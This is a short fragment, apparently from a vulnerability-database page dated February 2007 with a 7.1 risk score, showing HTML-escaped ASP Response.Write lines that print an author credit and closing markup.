Response.Write&nbsp;&quot;&lt;font&nbsp;size=&quot;&quot;1&quot;&quot;&nbsp;color=&quot;&quot;#808080&quot;&quot;&gt;&lt;span&nbsp;class=&quot;&quot;info2&quot;&quot;&gt;&quot;
Response.Write&nbsp;&quot;ajann&quot;
Response.Write&nbsp;&quot;&lt;/span&gt;&lt;/font&gt;&quot;
Response.Write&nbsp;&quot;&lt;/center&gt;&quot;

%&gt;
09 Feb 2007 00:00Current
7.1High risk
Vulners AI Score7.1